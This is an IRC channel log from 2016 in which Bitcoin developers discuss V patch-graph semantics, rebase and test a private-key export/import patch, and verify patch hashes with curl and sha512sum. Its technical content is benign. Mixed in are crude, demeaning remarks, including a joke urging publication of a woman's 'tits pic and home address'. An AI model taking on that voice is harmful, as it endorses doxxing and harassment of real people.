get all the disconnected graphs printing in a certain wa. 1464328;1462634530;mod6;*way 1464329;1462634548;shinohai;sweet! :D 1464330;1462634569;mod6;<+shinohai> And I've been using same guy for 3 years now, the price is just right and saves me the hassle. << this is what i need. i like to do the gardening but the stuff like mowing raking etc, i hardly can make time for. 1464331;1462634592;mod6;we need to add more tickets to the list too if we can round out some of that stuff. 1464332;1462634606;mod6;tsp reminded me that we need to add one for rawtxs 1464333;1462634609;shinohai;I'm the same, I love taking care of my flowers and veggies but mowing, etc is not my forte. 1464334;1462634644;shinohai;Funny, I was looking at raw tx code the other day, since the key code has worked so well. 1464335;1462634645;mod6;last year i had 22 tomato plants. this year im rotating the spot and probably will only do 10. but im gonna do a ton of cucumbers. 1464336;1462634661;mod6;and im having this lady show me how to jar/can them. 1464337;1462634679;mod6;<+shinohai> Funny, I was looking at raw tx code the other day, since the key code has worked so well.<< ya! 1464338;1462634697;mod6;that'sactually something I'd like to do today if I can get the time: drop in that code into my test environment. 1464339;1462634703;shinohai;Would be nice to be able to broadcast own tx's 1464340;1462634712;mod6;then rebase everything if i need, which it probably will 1464341;1462634732;mod6;;;halfreward 1464342;1462634733;gribble;Estimated time of bitcoin block reward halving: Mon Jul 11 09:45:11 2016 UTC | Time remaining: 9 weeks, 1 day, 18 hours, 20 minutes, and 0 seconds. 1464343;1462634742;mod6;holy smokes 1464344;1462634842;mod6;was just looking for non b-a steps for rain to follow to get reg'd in deedbot 1464345;1462634855;mod6;ran across this page looks like it needs at least a name change for #trilema: http://deedbot.org/faq.html 1464346;1462634920;mod6;is there some deedbot.org steps that rain1 can follow to get reg'd? 1464347;1462634926;shinohai;Some of the foundation pages need tweaking too, I think I noticed old #b-a refs in them 1464348;1462634964;mod6;oh good, thanks for reviewing those. there's a bunch of work in there we really need. 1464349;1462634979;mod6;don't hesitate to drop me a line if you find something thatneeds an update. 1464350;1462634990;mod6;$up mircea_popescu 1464351;1462634990;deedbot;mircea_popescu voiced for 30 minutes. 1464352;1462635008;mircea_popescu;ty 1464353;1462635012;shinohai;I can put list of trusted nodes, etc on my site if we need them. Not sure who said they were going to make a new wiki page. :/ 1464354;1462635013;mircea_popescu;why the fuck does deedbot not answer in pm tho 1464355;1462635014;mircea_popescu;$up 1464356;1462635015;mod6;my bad, saw you joined, didn't see that you didn't get voiced. 1464357;1462635015;deedbot;Get your OTP: http://wotpaste.cascadianhacker.com/r/b6b937a0-180c-4450-b97e-62ebe4abf99b/ 1464358;1462635021;mircea_popescu;this is fucking weird shit. 1464359;1462635046;mircea_popescu;$v 5377F1A5DF1C57528DC101794400A2022593B5AA7C775789B94D2A6EF3307BBA 1464360;1462635046;deedbot;You are now voiced in #trilema 1464361;1462635059;mod6;pm worked for me yesterday when i got booted from 'sandstorm' or whatever. i have noticed from time to time though, it just takes a bit to respond. 1464362;1462635088;mircea_popescu;ftr : **** BEGIN LOGGING AT Sat May 7 10:43:32 2016 May 07 10:43:33 $up May 07 10:52:49 $up May 07 11:38:57 $up **** ENDING LOGGING AT Sat May 7 12:26:05 2016 1464363;1462635120;mod6;oh wow. 1464364;1462635127;mod6;> a bit 1464365;1462635135;mircea_popescu;ikr. 1464366;1462635212;mircea_popescu;http://btcbase.org/log/2016-05-07#1464312 << what's so insane about it ? 1464367;1462635212;a111;Logged on 2016-05-07 15:19 rain1: this is insane 1464368;1462635222;rain1;why all this trouble just to speak 1464369;1462635283;mircea_popescu;because we don't generally wish to hear what $rando has to say. 1464370;1462635292;rain1;cool 1464371;1462635302;mircea_popescu;same reason you don't just go into aula magna at your local uni and start pouring words. 1464372;1462635319;shinohai;kek 1464373;1462635325;mircea_popescu;check out the outsized ego on this one. fucker thought he was like important or some shit ? 1464374;1462635329;mircea_popescu;http://btcbase.org/log/2016-05-07#1464345 << word. 1464375;1462635329;a111;Logged on 2016-05-07 15:27 mod6: ran across this page looks like it needs at least a name change for #trilema: http://deedbot.org/faq.html 1464376;1462635453;mod6;shinohai: how'd you like to be integral into helping us round out the newly built deedbot wiki? 1464377;1462635475;mod6;(are you still looking for tmsr~ side project?) 1464378;1462635503;shinohai;Sounds good to me. 1464379;1462635511;mod6;my goal is to move the good things off of the ba wiki and start getting our own setup. 1464380;1462635523;mircea_popescu;nice. 1464381;1462635551;mod6;it's still in the ground breaking phase, with the wiki, but there's async work that could be done from time to time when you have it. 1464382;1462635584;mircea_popescu;ah darn, it was my bad setup filtering out the wrong pms. sorry trinque false alamr, deedbot is fine indeed. 1464383;1462635608;mod6;ah 1464384;1462635617;shinohai;Just takes time to put together 1464385;1462635654;mod6;yeah. maybe if we run into trinque this weekend we can all discuss what some next things are there. 1464386;1462635664;mod6;heck, i'll even make tickets for it if we need to. 1464387;1462635689;mod6;nothing that has to get all accomplished today, or next week. but it'd be great to have something workable there by say. 9 weeks from now. 1464388;1462635706;mod6;then we can continue to round out that stuff as we go on. 1464389;1462635707;shinohai;I need to make a damned coinbr account this weekend too if I'm gonna continue my Qntra experiment. 1464390;1462635722;mod6;im sure j-dawg can get you setup 1464391;1462635752;*;mod6 laughs 1464392;1462635772;shinohai;Not hard to setup, I just need a btc addy I can use for signing only. I tend not to reuse addys and misplace them >.< 1464393;1462635777;jurov;shinohai, just fill this simple 5-page form, get an affidavits from doctor and IRS and we're done 1464394;1462635781;jurov;easy peasy 1464395;1462635789;mod6;hahaha 1464396;1462635813;shinohai;No pic of sharpie-in-pooper required? 1464397;1462635813;trinque;mircea_popescu: ah cool 1464398;1462635817;mod6;alright Gentlemen, i gotta run to do this yard trimmings here for a bit. 1464399;1462635823;mod6;i'll be back in a bit 1464400;1462635834;mod6;shinohai: ha, that guy made a mint for that. 1464401;1462635841;trinque;yep I'm out too, gonna gorge on crawfish in the sun 1464402;1462635842;mircea_popescu;aaand eulora just got its first "we are the people" revolutionary movement. 1464403;1462635850;mircea_popescu;it got trampled underfoot the same day. 1464404;1462635853;mircea_popescu;god i love my top hat. 1464405;1462635872;mod6;trinque: have fun. let's try to regroup later :] 1464406;1462635893;*;mod6 looks 1464407;1462636141;mod6;ok :] 1464408;1462636144;mod6;have fun, bbl. 1464409;1462636562;mircea_popescu;http://logs.minigame.bz/2016-05-07.log.html#t08:27:11 << tools ARE the basic game mechanic. 1464410;1462636602;mircea_popescu;there is no such thing as "boosters". if there were, people'd just buy the booster and then that would become the basic game mechanic. 1464411;1462636608;mircea_popescu;economy is economy is economy. 1464412;1462636892;mircea_popescu;o motherfucker. sorry bout that. 1464413;1462636952;mircea_popescu;ever since mod6 's been talking in #eulora i've been mischanning like crazy lol. 1464414;1462639151;asciilifeform;bbet moved?! 1464415;1462639265;BingoBoingo;shinohai: fxd 1464416;1462639307;mircea_popescu;lol 1464417;1462639324;BingoBoingo; haha, i wish i had some people around here who wanted to do that kinda labor forme. << You don't want to pay my "pout of service area" fee for visiting the tundra. 1464418;1462639354;mircea_popescu;when's your next ablum out mr j-dawg ? 1464419;1462639365;j-dawg;yo 1464420;1462639380;mircea_popescu;is it true you had 23 pounds of panties thrown at you by rabid fans at last concert ? 1464421;1462639426;j-dawg;yo dawg weighed them? dere fo' smellin' yo! 1464422;1462639450;mircea_popescu;word 1464423;1462639662;BingoBoingo;$b 5 1464424;1462643136;BingoBoingo;http://www.jameslafond.com/article.php?id=4357 1464425;1462643675;deedbot;[Qntra] Abducted Liberty Reserve Founder Sentenced To 20 Years In Prison - http://qntra.net/2016/05/abducted-liberty-reserve-founder-sentenced-to-20-years-in-prison/ 1464426;1462646812;mircea_popescu;asciilifeform wtf is supposed to be at http://phuctor.nosuchlabs.com/download/866C9165DAE2CF77D0164159E7818E466728400769222BB68D5C470317519EBB ? as in http://www.google.co.uk/url?sa=t&rct=j&q=&esrc=s&source=web&cd=3&cad=rja&uact=8&ved=0ahUKEwiazvypz8jMAhVGcRQKHS2hCwsQFggwMAI&url=http%3A%2F%2Fphuctor.nosuchlabs.com%2Fdownload%2F866C9165DAE2CF77D0164159E7818E466728400769222BB68D5C470317519EBB%3F&usg=AFQjCNF8VUOKSyn75OI5ncATuiod 1464427;1462646812;mircea_popescu;YuuYDg&bvm=bv.121421273,d.d24 1464428;1462646964;mircea_popescu;;;google astra linux 1464429;1462646965;gribble;Error: We broke The Google! 1464430;1462646969;mircea_popescu;$google astra linux 1464431;1462646974;mircea_popescu;somewhat lulzy. 1464432;1462646977;deedbot;https://en.wikipedia.org/wiki/Astra_Linux << Astra Linux - Wikipedia, the free encyclopedia | https://ru.wikipedia.org/wiki/Astra_Linux << Astra Linux — Википедия | https://www.youtube.com/watch?v=QE6cvtuB-_g << Astra Linux Review - Russian Government/Military Debian-based ... 1464433;1462647899;mircea_popescu;and in other news, http://67.media.tumblr.com/d066f34f267aa3944b8140744911f57e/tumblr_naycwfnV9K1tky0qbo1_1280.jpg 1464434;1462648030;BingoBoingo;Is that Sasha and Maliah Bahamas? 1464435;1462648232;mircea_popescu;no idea 1464436;1462648301;BingoBoingo;https://i.sli.mg/HYM9HO.png 1464437;1462648489;mircea_popescu;to click... or not to click. this is the BingoBoingolema. whether tis safer in silence to suffer the links and twinkles of outrageous rotundity, or to take a stand against a sea of blubber and, by refusing to click, forever disown them. 1464438;1462648839;danielpbarron;this one is all text 1464439;1462649204;mircea_popescu;motherfucker. what's with all this "blanking of names" bullshit. that's not how you do it. tits pic and home address. 1464440;1462649242;mircea_popescu;meanwhile in the civilised world, http://67.media.tumblr.com/9bd717569e80b50670e9ffbe1c0b7aad/tumblr_npicjfVqBy1rmrwgqo1_1280.jpg 1464441;1462650410;asciilifeform;http://btcbase.org/log/2016-05-07#1464426 << somebody's key? 1464442;1462650410;a111;Logged on 2016-05-07 18:46 mircea_popescu: asciilifeform wtf is supposed to be at http://phuctor.nosuchlabs.com/download/866C9165DAE2CF77D0164159E7818E466728400769222BB68D5C470317519EBB ? as in http://www.google.co.uk/url?sa=t&rct=j&q=&esrc=s&source=web&cd=3&cad=rja&uact=8&ved=0ahUKEwiazvypz8jMAhVGcRQKHS2hCwsQFggwMAI&url=http%3A%2F%2Fphuctor.nosuchlabs.com%2Fdownload%2F866C9165DAE2CF77D0164159E7818E466728400769222BB68D5C470317519EBB%3F&usg=AFQjCNF8VUOKSyn75OI5ncATuiod 1464443;1462650584;mircea_popescu;i thought those were /gpgfp/ and /gpgkey/ 1464444;1462650623;mircea_popescu;apparently there's a /download/ too but not linked from anywhere. 1464445;1462650638;deedbot;[» Contravex: A blog by Pete Dushenski] The full in-house orchestra. - http://www.contravex.com/2016/05/07/the-full-in-house-orchestra/ 1464446;1462653775;asciilifeform;http://btcbase.org/log/2016-05-07#1464444 << button on every key page!!!! 1464447;1462653775;a111;Logged on 2016-05-07 19:50 mircea_popescu: apparently there's a /download/ too but not linked from anywhere. 1464448;1462653789;asciilifeform;bottom right hand side! 1464449;1462653796;asciilifeform;srsly 1464450;1462653812;asciilifeform;had it last june even iirc. 1464451;1462654220;mod6;<+j-dawg> yo <<< hahahah yes! 1464452;1462654614;mod6;;;later tell trinque so how can shinohai help build out wiki.deedbot.org? is there some web-code he can write? or perhaps just preparing articles? 1464453;1462654614;gribble;The operation succeeded. 1464454;1462654645;mod6;;;later tell trinque your thoughts on this are much appreciated. hit me up when you get a chance to think on it. 1464455;1462654646;gribble;The operation succeeded. 1464456;1462655799;deedbot;[» Contravex: A blog by Pete Dushenski] Pete buys a minivan. - http://www.contravex.com/2016/05/07/pete-buys-a-minivan/ 1464457;1462658335;mircea_popescu;asciilifeform oh i c. missed it. 1464458;1462658839;mod6;so yeah, funks patch needs to be rebased. 1464459;1462659027;shinohai;mod6: didja check the copy I sent? dunno if I did it right 1464460;1462659099;mod6;im looking at btcbase.org/patches/funken_prikey_tools/file 1464461;1462659113;mod6;anyway, that's not the end of the world or anything. 1464462;1462659140;mod6;you would have to have had all the latest pressed out, then patch the code in by hand 1464463;1462659145;mod6;i'll do that. it's fine. 1464464;1462659155;mod6;that'll get me a good review of the code changes anyway. 1464465;1462659181;shinohai;Yeah I had to patch in by hand after press to get it working :/ 1464466;1462659192;mod6;no worries. 1464467;1462660481;deedbot;[Recent Phuctorings.] Phuctored: 53158319 divides RSA Moduli belonging to 'n parks ; ' - http://phuctor.nosuchlabs.com/gpgkey/CE950BA464382BDA2D85A5D454A725D96DCB1BCAA57E83B41D941B3FE86CA41C 1464468;1462660964;phf;mod6: hey, i checked the state of patches, and http://btcbase.org/patches?patchset=stable is identical to http://thebitcoin.foundation/v/patches/ 1464469;1462661064;mircea_popescu;o hey, new one. 1464470;1462661156;phf;so i suspect that whatever differences in press are a result of press algo. also funken is in an experimental set, and that's all the patches that i saw floating around that are not in the official release and not have been explicitly deprecated 1464471;1462661214;phf;experimental doesn't press cleanly half the time, because of rebasing issue. for example it has polarbeard's patches that link into graph, but are all over the place with their press dependency 1464472;1462661237;mod6;http://dpaste.com/1ABFB3E.txt 1464473;1462661242;mod6;phf: lemme see here... 1464474;1462661442;mod6;alright. so, a: i was looking at whatever was listed at btcbase.org/patches/funken_prikey_tools/ 1464475;1462661482;mod6;and that seems like it makes sense from where this funken_prikey_tools.vpatch was branched. 1464476;1462661510;mod6;b: your link with patchset=stable looks correct at a glance. your chart is a bit different than mine 1464477;1462661522;mod6;this is because i pin leafs to the top of the graph 1464478;1462661561;mod6;but yah, otherwise that "stable" looks ok. tahnks for taking the time to check. 1464479;1462661594;phf;mod6: yeah, my antecedent's list is actually cut down, but i can't recall by what metric :o 1464480;1462661615;mod6;? 1464481;1462661640;mod6;you know what is cool though? that you have it so you can change graphs depending on the input -- "experimental" etc 1464482;1462661682;mod6;is there a base link to this page? should be something like trb.btcbase.org or something 1464483;1462661687;mod6;or btcbase.org/trb 1464484;1462661694;mod6;instead of the ? = stuff 1464485;1462661703;phf;http://btcbase.org/patches 1464486;1462661708;phf;takes you to stable 1464487;1462661718;mod6;oh ok that works :] 1464488;1462661721;mod6;thanks! 1464489;1462661772;mod6;how or why did you 'cut down' the antecedents? 1464490;1462661776;mod6;im not sure I follow. 1464491;1462661817;mod6;shinohai: that dpaste above was for you, should be good to go, need to recompile the orchastra with this included and test a bit... 1464492;1462661832;mod6;and then if that works, I'll hand it off to you to see if you can go through the same motions 1464493;1462661845;shinohai;oh ok lemme fire up a VM 1464494;1462661899;mod6;no worries, just demonstrating with that paste that I was able to rebase the patch, drop it into my 'patches' dir (notice the WILD annotation), and press cleanly. 1464495;1462661918;shinohai;ah neat! 1464496;1462661925;mod6;if I use the raw patch from the deal press pukes on an unmatched hash. (a new feature! lol) 1464497;1462661945;mod6;nice to know v does stuff that works 1464498;1462662375;mircea_popescu;phf shouldn't they not actually link then ? 1464499;1462662386;mircea_popescu;i mean... graph's utility is mostly that it mirrors the press, no ? 1464500;1462662837;mod6;shinohai: since we're talkin about it... looks like 'funken_prikey_tools.vpatch' had key.h based off genesis, instead of mod6_der_high_low_s.vpatch : http://dpaste.com/0DWTN8S.txt 1464501;1462662865;mod6;anyway, just as illustration 1464502;1462662896;shinohai;werd 1464503;1462663094;mod6;ok lemme see if i can build this thing 1464504;1462663679;mod6;i think i'll take this chance to truncate this 22G log file too 1464505;1462663680;mod6;haha 1464506;1462664368;shinohai; 22G O.o 1464507;1462665019;mod6;yeah my bitcoind logfile 1464508;1462665558;mod6;(its been running for /a while/) 1464509;1462665571;*;mod6 builds trb with key tools 1464510;1462665760;mod6;ok compiled just fine 1464511;1462665823;mod6;start up 1464512;1462665881;deedbot;[» Contravex: A blog by Pete Dushenski] John the mulch man. - http://www.contravex.com/2016/05/07/john-the-mulch-man/ 1464513;1462665891;mod6;'tail: /mnt/btc-dev/.bitcoin/debug.log: file truncated' :D 1464514;1462665960;shinohai;lol mine built fine too on Gentoo, gonna test on Deb later 1464515;1462665978;mod6;cool man 1464516;1462665982;mod6;getting blocks... 1464517;1462665990;mod6;alright, i'll try out some of this stuff. 1464518;1462666314;shinohai; I haven't got to test send/receive yet ... still no place to buy coins for cash in this godforsaken country. 1464519;1462666340;mod6;this friggin bogus account balance. 1464520;1462666346;mod6;gotta fix that 1464521;1462666364;shinohai;whats wrong with it? 1464522;1462666368;mod6;u need some hacker tokens? 1464523;1462666384;*;shinohai wishes we still had testnet in a way. :/ 1464524;1462666395;mod6;shinohai: oh its showing way more than i actually have in the wallet. it's re-adding the change to the overall balance. 1464525;1462666414;mod6;gotta test with real numbers 1464526;1462666432;shinohai;mine will show previous balances based on time it is synced on the blockchain 1464527;1462666497;mod6;ok, truth be told, im not sure what its malfunction is. 1464528;1462666509;mod6;it's a bug though. gotta dig into it. we have a ticket for it. 1464529;1462666535;mod6;ticket id 1 1464530;1462666557;mod6;thebitcoin.foundation/tickets/tickets.html 1464531;1462666576;mod6;anyway shoot me an addy, and i'll throw you some digits 1464532;1462666850;mod6;ok so this thing dumped out a privkey just fine. 1464533;1462666868;mod6;i tried to reimport that same key - it gave me an error, which, it probably should, but it's a bit non-descript. 1464534;1462666899;mod6;not the end of the world. the whole thing needs a rewrite anyway. 1464535;1462667079;mod6;private key dumped is valid 1464536;1462667094;mod6;cool 1464537;1462667097;mod6;:] 1464538;1462667278;shinohai;back, yeah sometimes it acts a little weird when you import keys, like mine will hang a really long time. 1464539;1462667296;shinohai;but it exports fine, which is really important too lol 1464540;1462667330;mod6;oh. hm. we better test the shit out of importing priv keys 1464541;1462667334;phf;mircea_popescu: that's what i was working on before the log issue became critical, and i might need to just write it up since i'm having hard time communicating the graph/press discrepancy 1464542;1462667366;shinohai;I have done it at least 20-30 times with no major issues so far, mostly with vanitygen addys 1464543;1462667386;mod6;does it work everytime as long as the privkey is valid? 1464544;1462667392;mod6;what about invalid keys? 1464545;1462667397;phf;there were suggestion "just do X" and i would try them and discover that they wouldn't actually solve the problem 1464546;1462667398;shinohai;At least it didn't destroy my whole wallet like last time I used pybitcointools 1464547;1462667400;mod6;does it error out properly? 1464548;1462667413;mod6;heh, that's a good thing (tm) 1464549;1462667471;shinohai;hmmm ... good question on the invalid key thing. That should be tested sure 1464550;1462667497;phf;note that the graph edge can actually have multiple different meanings. on mod6 graph, an edge means "patches share a common hash". on my graph edge means "patch can be applied on top of other patch without conflict" 1464551;1462667499;mod6;i just tested trying to dump a key from an address not in the wallet and it says: 1464552;1462667541;mod6;"Private key for address 1ABitcoinAddyBlahBlah is not known" 1464553;1462667544;mod6;so that works 1464554;1462667604;mod6;some day im gonna have to write a boatload more cucumber tests for this shit 1464555;1462667624;mod6;today is not that day 1464556;1462667629;shinohai;lol 1464557;1462667632;mod6;:D 1464558;1462667712;mod6;Ok i just tried to import an invalid private key 1464559;1462667743;mod6;it says: 'error: {"code":-5,"message":"Invalid private key"} 1464560;1462667748;mod6;so that works. 1464561;1462667824;shinohai;sweet. I kept getting that error when I first patched it because I forgot to decrypt my wallet like an idiot. 1464562;1462667826;mod6;i just tried dumping a priv key from an invalid bitcoin address, error says: 'error {"code":-5,"message":"Invalid bitcoin address"}' 1464563;1462667829;mod6;so thats good 1464564;1462667830;ben_vulpes;phf: iirc that notion descends from stan's original V. 1464565;1462667841;phf;ben_vulpes: which notion? 1464566;1462667858;ben_vulpes;that edges mean patches share a common hash 1464567;1462667862;mod6;shinohai: ok thats an interesting test case 1464568;1462667870;ben_vulpes;although hang on let me think 1464569;1462667878;phf;no, that's correct 1464570;1462667883;mod6;thats not a bad test we wanna try to break this fucker 1464571;1462667893;phf;in ascii's v graph edge means "share a common hash" 1464572;1462667911;shinohai; That's what I'm here for to break it or fuck it up :D 1464573;1462667927;phf;but that doesn't guarantee a clean press as a graph transition. it only guarantees clean press when you topo sort the graph 1464574;1462667976;ben_vulpes;> press as a graph transition << would you elaborate? 1464575;1462668177;ben_vulpes;phf ^^ 1464576;1462668262;phf;say you have two files, a b. patch X takes a from null to hash 0 and b from null to hash 0 1464577;1462668283;phf;sorry scratch that 1464578;1462668324;phf;patch X takes a from null to 1, b from null to 2 1464579;1462668334;phf;patch Y takes b from 2 to 3 1464580;1462668355;phf;patch Z takes a from 1 to 8, b from 3 to 4 1464581;1462668389;phf;the graph for that is X->Y->Z, X->Z 1464582;1462668462;phf;because X and Z share a's hash, X and Y share b's hash, Y and Z share b's hash 1464583;1462668500;phf;but you can't actually press from X->Z, even though they are "antecedents", because Z requires Y to be pressed first 1464584;1462668533;phf;X and Z share a's hash, but they have conflicting b hashes 1464585;1462668612;ben_vulpes;ah, transition. 1464586;1462668672;phf;so you can do a single pass (and that's what my graph does) to eliminate all the edges that have conflicts 1464587;1462668725;phf;but you then run into the issue is that the conflict might be introduced up the graph chain 1464588;1462668863;phf;and that's where my thinking gets fuzzy, because i didn't really finish this whole exercise 1464589;1462669063;asciilifeform;the lily needs no guilding. 1464590;1462669071;asciilifeform;'same hash' is the correct v. 1464591;1462669076;asciilifeform;*gilding 1464592;1462669100;asciilifeform;'no conflict' is fuzzy and introduces potential of subtle breakage 1464593;1462669115;asciilifeform;because gnudiff has no notion of semantics of the language, only dumb linear text 1464594;1462669140;asciilifeform;the 'hash must match' is the only path to 'i meant what i said and i said what i meant, a walrus is certain one hundred percent' 1464595;1462669261;asciilifeform;;;later tell mircea_popescu http://btcbase.org/log/2016-05-07#1464467 << BEHOLD! key circa 2011, UPDATED 2012!111111111111 bock can eat shit 1464596;1462669261;a111;Logged on 2016-05-07 22:34 deedbot: [Recent Phuctorings.] Phuctored: 53158319 divides RSA Moduli belonging to 'n parks ; ' - http://phuctor.nosuchlabs.com/gpgkey/CE950BA464382BDA2D85A5D454A725D96DCB1BCAA57E83B41D941B3FE86CA41C 1464597;1462669261;gribble;The operation succeeded. 1464598;1462669339;asciilifeform;Version: GnuPG v2.0.14 (GNU/Linux) << if the submitter is to be believed ! 1464599;1462669387;*;asciilifeform is back from mega-expo at, among other places, ar embassy. very lulzy. 1464600;1462669429;asciilifeform;what was lulzier was that apparently 'top seeekrit' apparatchiks are not permitted to attend such shows, at least without special dispensation from company chekist 1464601;1462669461;asciilifeform;because - potentially - 'what if goes in but never comes out' - or the like. 1464602;1462669498;ben_vulpes;never comes out of /ar/ embassy? 1464603;1462669500;ben_vulpes;heh. 1464604;1462669505;asciilifeform;ask hitler, not me. 1464605;1462669530;ben_vulpes;what they have secret combudder/aerospace engineering programs? 1464606;1462669560;asciilifeform;ben_vulpes: concern is that embassy of 'neutral' country is a great place to betray the motherland to kgb. or the like. 1464607;1462669567;phf;asciilifeform: no conflict doesn't have much to do with gnudiff. "conflict" in this case means that the patches contain at least TWO files one has shared hash, and the other one hash different hashes 1464608;1462669571;asciilifeform;this is not without historic basis, but still lulzy. 1464609;1462669583;phf;*has different 1464610;1462669589;asciilifeform;phf: if anything conflicts -> no go. 1464611;1462669614;asciilifeform;the fact that gnudiff will happily patch mismeshing file trees in certain circumstances is, from our pov, BRAINDAMAGE 1464612;1462669618;asciilifeform;rather than a helpful feature. 1464613;1462669621;phf;asciilifeform: that's not how v's ~graph~ operates 1464614;1462669638;phf;i'm not talking about gnudiff and presses 1464615;1462669659;asciilifeform;if it isn't, then it isn't complete. 1464616;1462669668;phf;v's graph says "these two patches share a common hash", but that doesn't mean that one can be pressed on top of another in isolation 1464617;1462670238;phf;i need to just write this stuff up, but at this point i'm leaning towards the idea that you can't really make a better graph than "shares a hash", and all that communicates is that "this guy uses content from this other guy" 1464618;1462670286;phf;but if you want to talk about presses you have to look at the whole subgraph, hmm 1464619;1462670347;ben_vulpes;it's only ever made sense to me in the context of pressing a specific patch. 1464620;1462670377;ben_vulpes;as in, given this patchset, and this particular patch, apply all of the antecedents in the correct order. 1464621;1462670389;ben_vulpes;(and then the given patch) 1464622;1462670466;ben_vulpes;again, if i recall correctly, asciilifeform's v will press all of the same-leaf-level patches as the given patch, /up to the given patch (inclusive)/ in alphabetical order 1464623;1462672630;asciilifeform;l0l! largest wasp i've ever seen. barely fit through the vac hose! 1464624;1462672643;asciilifeform;about as thick, and long, as my thumb. 1464625;1462673382;asciilifeform;unrelatedly, but interestingly, http://www.crypto.com/photos/misc/bramah 1464626;1462675113;mod6;fuck i hate those things. 1464627;1462675123;mod6;that one sounded HUGE though 1464628;1462676551;mircea_popescu;asciilifeform :p 1464629;1462676655;mircea_popescu;phf i c. 1464630;1462676771;mircea_popescu;phf i don't think polysemy is actually desirable in this context. edge should really mean one thing reliably. 1464631;1462679613;asciilifeform;http://btcbase.org/log/2016-05-08#1464630 << yes! 1464632;1462679613;a111;Logged on 2016-05-08 03:06 mircea_popescu: phf i don't think polysemy is actually desirable in this context. edge should really mean one thing reliably. 1464633;1462679645;asciilifeform;and to the extent v can be coaxed into behaving outside of this envelope, it is incomplete 1464634;1462679655;asciilifeform;like pre-otis lifts. 1464635;1462679898;asciilifeform;in other nonnyooz, http://www.crypto.com/papers/keylength.nsa.txt << lulzy vintage disinfo and its dissection 1464636;1462679903;BingoBoingo;;;later tell pete_dushenski re: http://www.contravex.com/2016/05/07/pete-buys-a-minivan/ Exactly how fat are Lexus's typical customers that such a gulf is required between passenger car's curb weight and carrying capacity 1464637;1462679903;gribble;The operation succeeded. 1464638;1462680165;asciilifeform;http://www.crypto.com/papers/export.txt << by same author, another vintage lol, re the idiocy of ruleoflaw 1464639;1462680441;mircea_popescu;asciilifeform lulzy. "oh we can't brute force because reasons" 1464640;1462680453;asciilifeform;aha! 1464641;1462680489;asciilifeform;the 'acres of crays', already quite famous then - space heaters!1111 1464642;1462680528;mircea_popescu;heh 1464643;1462680608;mircea_popescu;phf> but you then run into the issue is that the conflict might be introduced up the graph chain << fuck, waht !? 1464644;1462680609;mircea_popescu;this can't be right. 1464645;1462680693;mircea_popescu;phf> the graph for that is X->Y->Z, X->Z << this is incorrect. the graph for that is "X->Y->Z". "X->Z" is not correct because Z requires b 3 and x does not provide b3. 1464646;1462680964;mod6;shinohai: this is the rebased funk privkey patch http://wotpaste.cascadianhacker.com/pastes/caa33111-6432-4488-be6a-33ec7bdb45c6/?raw=true 1464647;1462681002;mod6;if you grab this, and it didn't get munged, you should end up with this hash: 6eaa543333746c11069ff9ca85aaa6330419d0be95de21fafcdbd500e1bc6df2ef10c2dc1d104b15cb50da7b362eac6bf1ddf3830329367b31c1e59e1dc3c6a9 1464648;1462681022;mircea_popescu;asciilifeform> 'no conflict' is fuzzy and introduces potential of subtle breakage << i agree with this view, for the reasons stated. same hash has to be the criterion. 1464649;1462681075;mod6;further, use `v' and ensure that your patches dir is up to date with the mirror. if you're not sure, just mv your patches dir to like 'patches.old' and then use 'init' to get the latest. 1464650;1462681096;mod6;then copy the funk vpatch into patches dir 1464651;1462681103;asciilifeform;if hash-in mismatches - patch MUST fail. ditto if hash-out does. 1464652;1462681126;mod6;then see if you can press it successfully: `./v.pl p v v054-wFunk asciilifeform_maxint_locks_corrected.vpatch` 1464653;1462681127;mircea_popescu;asciilifeform i re-read what he's saying, i'm not even sure we actually grasp what the man is trying to say. 1464654;1462681129;asciilifeform;and for ENTIRE file set. 1464655;1462681138;mircea_popescu;or at least i can't seem to reorder it into something that seems reasonable. 1464656;1462681143;mod6;asciilifeform: are you talking to me? 1464657;1462681155;mircea_popescu;mod6 nah we're wringing over earlier graph discussion 1464658;1462681159;mod6;im talking about the hash of the vpatch file itself. 1464659;1462681168;asciilifeform;mod6: mircea_popescu , re phf's observation 1464660;1462681169;mod6;oah ok 1464661;1462681190;mod6;im pretty well convinced that what I have constructed works fine. 1464662;1462681209;asciilifeform;my understanding was that he was making use of loose coupling somehow 1464663;1462681228;asciilifeform;where there was not strict all-must-match. 1464664;1462681255;mircea_popescu;i got as far ; but i don't see where or how, and his example is broken 1464665;1462681283;asciilifeform;perhaps he might supply another when he wakes up. 1464666;1462681318;mod6;shinohai: dangit. i curl'd that wotpaste and i got a different hash output 1464667;1462681322;mod6;it munged someting 1464668;1462681349;deedbot;[Trilema] Булучеало, Buluk-Ayres - http://trilema.com/2016/%d0%91%d1%83%d0%bb%d1%83%d1%87%d0%b5%d0%b0%d0%bb%d0%be-buluk-ayres/ 1464669;1462681368;mod6;curl -s "http://wotpaste.cascadianhacker.com/pastes/caa33111-6432-4488-be6a-33ec7bdb45c6/?raw=true" | sha512sum 1464670;1462681371;mod6;72780acdf0df0ed1510f3d5341c7191be3a4b6809be397d706aaf9123b1889a715bfc47511cf0b1800dbcffa6bcbcc26823cbfaea46f38993f94584f7a7ddeb1 - 1464671;1462681386;mircea_popescu;$google Булучеало 1464672;1462681390;*;deedbot hands you a broomstick. 1464673;1462681393;mircea_popescu;win. 1464674;1462681394;asciilifeform;mircea_popescu: mega-lol re above, given as i saw an 'official' ar diplomatic tango demo today! 1464675;1462681407;mircea_popescu;wait, you READ IT ALREADY ?! 1464676;1462681412;asciilifeform;aha. 1464677;1462681417;mircea_popescu;o.O 1464678;1462681420;asciilifeform;a few min ago. 1464679;1462681433;*;asciilifeform has own automata 1464680;1462681436;*;mircea_popescu pictures alf in NOC with trilema rss scrolling on alrge screen 1464681;1462681443;asciilifeform;sorta aha 1464682;1462681462;mircea_popescu;back in ro glory days there were a few people in various ministries doing just that 1464683;1462681465;mircea_popescu;hated me for it too. 1464684;1462681553;asciilifeform;l0l!! 1464685;1462681560;mod6;Oh, and a cat! Which, in absolute fairness, was by far the most intelligent local present. << haha 1464686;1462681570;mircea_popescu;cat was pretty laid back. 1464687;1462682220;mod6;ben_vulpes: is there a way to get around this? 1464688;1462682221;mod6;curl -s "http://wotpaste.cascadianhacker.com/pastes/caa33111-6432-4488-be6a-33ec7bdb45c6/?raw=true" | xxd | grep "0d0a" | wc -l 1464689;1462682225;mod6;103 1464690;1462682761;mod6;shinohai: grab this one http://www.mod6.net/btcf/test/mod6_funken_prikey_tools.vpatch 1464691;1462682768;mod6;$ curl -s "http://www.mod6.net/btcf/test/mod6_funken_prikey_tools.vpatch" | sha512sum 